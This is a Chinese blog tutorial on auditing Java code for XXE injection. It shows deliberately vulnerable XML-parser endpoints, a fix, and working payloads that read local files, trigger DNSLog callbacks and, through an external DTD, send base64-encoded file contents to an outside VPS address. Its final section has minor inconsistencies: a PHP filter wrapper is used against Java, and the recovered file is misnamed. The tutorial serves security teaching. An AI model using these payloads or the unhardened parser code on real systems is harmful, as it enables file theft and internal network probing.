Java代码审计之XXE

494 阅读4分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

XXE

简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。

XXE相关基础概念

XML&DTD

XML (可扩展标记语言,EXtensible Markup Language),是一种标记语言,用来传输和存储数据,而非显示数据。

DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

实体ENTITY

XML中的实体类型,一般有下面几种:字符实体、命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。

1)字符实体

字符实体类似 html 中的实体编码,形如:a(十进制)或者a(十六进制)。

2)命名实体(内部实体)

内部实体又称为命名实体。命名实体可以说成是变量声明,命名实体只能声明在DTD或者XML文件开始部分(语句中)。

命名实体(或内部实体)语法:

<!ENTITY 实体名称 "实体的值">

如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "First Param!">
    <!ENTITY y "Second Param!">
]>
<root><x>&x;</x><y>&y;</y></root>

定义一个实体名称x 值为First Param!

&x; 引用实体x

3)外部普通实体

外部实体用于加载外部文件的内容。(显式XXE攻击主要利用外部普通实体)

外部普通实体语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
    <!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>

4)外部参数实体

参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。(Blind XXE攻击常利用参数实体进行数据回显)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % param1 "Hello">
    <!ENTITY % param2 " ">
    <!ENTITY % param3 "World">
    <!ENTITY dtd SYSTEM "combine.dtd">
    %dtd;
]>
<root><foo>&content</foo></root>

combine.dtd中的内容为:

<!ENTITY content "%param1;%param2;%param3;">

上面combine.dtd中定义了一个基本实体,引用了3个参数实体:%param1;,%param2;,%param3;。

解析后...中的内容为Hello World。

漏洞代码

从request中获取到内容后直接使用parse将其进行执行,期间并未禁止解析外部实体类

xmlReader

无回显

@PostMapping("/xmlReader/vuln")
public String xmlReaderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
        xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
        return "xmlReader xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}
SAXBuilder

无回显,借助dnslog查看回显内容

@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
public String SAXBuilderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
​
        SAXBuilder builder = new SAXBuilder();
        // org.jdom2.Document document
        builder.build(new InputSource(new StringReader(body)));  // cause xxe
        return "SAXBuilder xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}
SAXReader

saxReader是第三方的库,该类是无回显的

////saxReader是第三方的库,该类是无回显的
@RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
public String SAXReaderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXReader reader = new SAXReader();
        // org.dom4j.Document document
        reader.read(new InputSource(new StringReader(body))); // cause xxe

    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }

    return "SAXReader xxe vuln code";
}
SAXParser

SAXParser该类也是JDK内置的类,但他不可回显内容,可借助dnslog平台

//该类也是JDK内置的类,但他不可回显内容,可借助dnslog平台
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXParserFactory spf = SAXParserFactory.newInstance();
        SAXParser parser = spf.newSAXParser();
        parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

        return "SAXParser xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}
Digester

无回显

@RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
public String DigesterVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        Digester digester = new Digester();
        digester.parse(new StringReader(body));  // parse xml
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "Digester xxe vuln code";
}
DocumentBuilder

DocumentBuilder有回显

// 有回显
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        StringReader sr = new StringReader(body);
        InputSource is = new InputSource(sr);
        Document document = db.parse(is);  // parse xml

        // 遍历xml节点name和value
        StringBuilder buf = new StringBuilder();
        NodeList rootNodeList = document.getChildNodes();
        for (int i = 0; i < rootNodeList.getLength(); i++) {
            Node rootNode = rootNodeList.item(i);
            NodeList child = rootNode.getChildNodes();
            for (int j = 0; j < child.getLength(); j++) {
                Node node = child.item(j);
                buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
            }
        }
        sr.close();
        return buf.toString();
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

有回显payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

图片.png

修复方法

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); `

补充渗透知识

针对前面五种无法回显的方法,可以使用deslog来证明其是否存在盲xxe

DNSLog Platform

1.什么是dnslog

DNSlog是什么?DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件

2.dnslog通常用在哪个地方

1.SQL盲注
2.无回显的XSS
3.无回显的命令执行
4.无回显的SSRF
5.Blind XXE

举例:

先由dnslog生成urlly4vxe.dnslog.cn

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "http://wtqrwk.dnslog.cn" >]><value>&xxe;</value>

POST /xxe/SAXBuilder/vuln

以上面任意无回显方法进行实验

image-20220314172509905

访问记录:

image-20220314172537846

盲xxe文件读取

注:这里需要一个VPS,VPS中放入一个DTD的文件(要放到根目录下),文件dtd内容如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C://Windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://47.101.42.249:9000/?p=%file;'>">

然后利用python3开启http服务。

python3 -m http.server --bind 0.0.0.0 9000

image-20220314174206215

pyload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://47.101.42.249:9000/evil.dtd">
%dtd;%int;%send;]>

img

burp suite提交数据后,vps获得一串base64编码。

img

将base64编码拿去解码后就是my.ini的文件内容。

img